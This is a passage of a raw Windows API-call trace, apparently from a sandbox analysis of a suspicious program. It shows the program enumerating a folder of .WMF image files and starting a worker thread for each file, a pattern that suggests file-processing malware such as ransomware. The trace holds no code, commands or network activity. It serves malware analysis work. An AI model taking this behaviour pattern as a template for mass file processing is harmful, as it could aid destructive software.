	[0236.017] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1
	[0236.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bec
	[0236.199] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.200] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1
	[0236.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf0
	[0236.202] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.203] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1
	[0236.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf4
	[0236.206] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.207] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1
	[0236.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf8
	[0236.210] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.210] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1
	[0236.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bfc
	[0236.213] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.213] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1
	[0236.213] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c04
	[0236.218] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.218] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1
	[0236.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c08
	[0236.220] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.221] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1
	[0236.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0c
	[0236.223] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.224] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1
	[0236.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c10
	[0236.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.226] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1
	[0236.226] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c14
	[0236.228] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.229] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1
	[0236.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c18
	[0236.232] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.233] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1
	[0236.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c1c
	[0236.363] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.364] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1
	[0236.364] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c20
	[0236.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.368] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1
	[0236.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c24
	[0236.371] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.371] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1
	[0236.372] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c28
	[0236.374] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.374] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1
	[0236.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c2c
	[0236.377] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.378] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1
	[0236.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c30
	[0236.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.381] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1
	[0236.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c34
	[0236.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.384] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1
	[0236.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c38
	[0236.388] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.388] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1
	[0236.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c3c
	[0236.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.391] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1
	[0236.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c40
	[0236.394] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.395] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1
	[0236.395] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c44
	[0236.513] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.513] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1
	[0236.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c48
	[0236.516] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.516] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1
	[0236.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4c
	[0236.519] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.519] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1
	[0236.519] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c50
	[0236.522] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.522] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1
	[0236.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c54
	[0236.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.525] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1
	[0236.525] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c58
	[0236.528] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
